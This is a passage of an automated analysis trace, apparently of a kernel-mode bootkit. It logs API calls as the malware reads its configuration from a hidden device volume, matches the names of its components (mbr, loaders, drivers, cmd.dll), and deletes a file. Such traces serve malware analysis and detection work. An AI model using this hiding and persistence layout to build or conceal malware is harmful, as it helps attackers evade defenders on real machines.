KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.243] IdePortDispatch () returned 0x103 [0120.243] KeWaitForMutexObject () returned 0x0 [0120.244] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.244] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.244] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.244] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.244] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.244] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcf00 [0120.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.244] KeLeaveCriticalRegion () [0120.244] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.244] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.244] KeEnterCriticalRegion () [0120.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.244] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.244] KeLeaveCriticalRegion () [0120.244] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.244] KeEnterCriticalRegion () [0120.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.244] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.244] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.244] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.244] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.244] IdePortDispatch () returned 0x103 [0120.244] KeWaitForMutexObject () returned 0x0 [0120.244] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.244] KeLeaveCriticalRegion () [0120.244] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.244] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.245] KeEnterCriticalRegion () [0120.245] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.245] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003420000 [0120.245] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.245] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.245] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.245] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.245] IdePortDispatch () returned 0x103 [0120.245] KeWaitForMutexObject () returned 0x0 [0120.245] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.245] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.245] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.245] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.245] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.245] IdePortDispatch () returned 0x103 [0120.245] KeWaitForMutexObject () returned 0x0 [0120.245] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.245] KeLeaveCriticalRegion () [0120.245] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.246] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.246] KeEnterCriticalRegion () [0120.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.246] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.246] KeLeaveCriticalRegion () [0120.246] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.246] KeEnterCriticalRegion () [0120.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.246] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.246] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.246] KeLeaveCriticalRegion () [0120.246] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.246] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.246] KeEnterCriticalRegion () [0120.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.246] ExFreePoolWithTag (P=0xfffffa8003bbcf00, Tag=0x0) [0120.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.246] KeLeaveCriticalRegion () [0120.246] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.246] ReleaseMutex (hMutex=0xf0) returned 1 [0120.246] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.246] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.246] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.246] KeEnterCriticalRegion () [0120.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.246] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.246] IdePortDispatch () returned 0x103 [0120.246] KeWaitForMutexObject () returned 0x0 [0120.246] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.246] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.247] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.247] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.247] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.247] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc21f0 [0120.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.247] KeLeaveCriticalRegion () [0120.247] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.247] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.247] KeEnterCriticalRegion () [0120.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.247] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.247] KeLeaveCriticalRegion () [0120.247] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.247] KeEnterCriticalRegion () [0120.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.247] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.247] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.247] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.247] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.247] IdePortDispatch () returned 0x103 [0120.247] KeWaitForMutexObject () returned 0x0 [0120.247] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.247] KeLeaveCriticalRegion () [0120.247] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.247] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.247] KeEnterCriticalRegion () [0120.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.247] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003421000 [0120.247] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.247] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.247] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.247] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.247] IdePortDispatch () returned 0x103 [0120.247] KeWaitForMutexObject () returned 0x0 [0120.248] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.248] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.248] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.248] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.248] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.248] IdePortDispatch () returned 0x103 [0120.248] KeWaitForMutexObject () returned 0x0 [0120.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.248] KeLeaveCriticalRegion () [0120.248] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.248] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.248] KeEnterCriticalRegion () [0120.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.248] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.248] KeLeaveCriticalRegion () [0120.248] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.249] KeEnterCriticalRegion () [0120.249] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.249] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.249] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc22b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.249] KeLeaveCriticalRegion () [0120.249] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.249] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.249] KeEnterCriticalRegion () [0120.249] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.249] ExFreePoolWithTag (P=0xfffffa8003bc21f0, Tag=0x0) [0120.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.249] KeLeaveCriticalRegion () [0120.249] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.249] ReleaseMutex (hMutex=0xf0) returned 1 [0120.249] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.249] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.249] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.249] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.249] KeEnterCriticalRegion () [0120.249] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.249] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.249] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.249] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.249] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.249] IdePortDispatch () returned 0x103 [0120.249] KeWaitForMutexObject () returned 0x0 [0120.249] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.249] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.249] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.249] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.249] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.249] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.249] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.249] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.249] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.249] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.249] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.249] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.250] KeLeaveCriticalRegion () [0120.250] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.250] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.250] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.250] KeEnterCriticalRegion () [0120.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.250] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.250] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.250] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.250] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.250] IdePortDispatch () returned 0x103 [0120.250] KeWaitForMutexObject () returned 0x0 [0120.250] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.250] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.250] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.250] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.250] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.250] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.250] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.250] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.250] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.250] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.250] KeLeaveCriticalRegion () [0120.250] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.250] ReleaseMutex (hMutex=0x100) returned 1 [0120.250] Sleep (dwMilliseconds=0x2bf20) [0120.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ae05fb0, dwHighDateTime=0x1d24fa4)) [0120.258] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.258] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.258] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.258] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.258] KeEnterCriticalRegion () [0120.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.258] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.258] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.258] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.258] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.258] IdePortDispatch () returned 0x103 [0120.258] KeWaitForMutexObject () returned 0x0 [0120.258] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.258] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.258] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.258] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.258] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.258] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcf00 [0120.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.258] KeLeaveCriticalRegion () [0120.258] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.258] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.258] KeEnterCriticalRegion () [0120.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.258] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.258] KeLeaveCriticalRegion () [0120.258] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.258] KeEnterCriticalRegion () [0120.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.258] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.258] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.258] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.258] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.259] IdePortDispatch () returned 0x103 [0120.259] KeWaitForMutexObject () returned 0x0 [0120.259] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.259] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.259] KeLeaveCriticalRegion () [0120.259] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.259] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.259] KeEnterCriticalRegion () [0120.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.259] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003424000 [0120.259] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.259] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.259] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.259] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.259] IdePortDispatch () returned 0x103 [0120.259] KeWaitForMutexObject () returned 0x0 [0120.259] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.259] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.259] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.259] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.259] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.259] IdePortDispatch () returned 0x103 [0120.259] KeWaitForMutexObject () returned 0x0 [0120.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 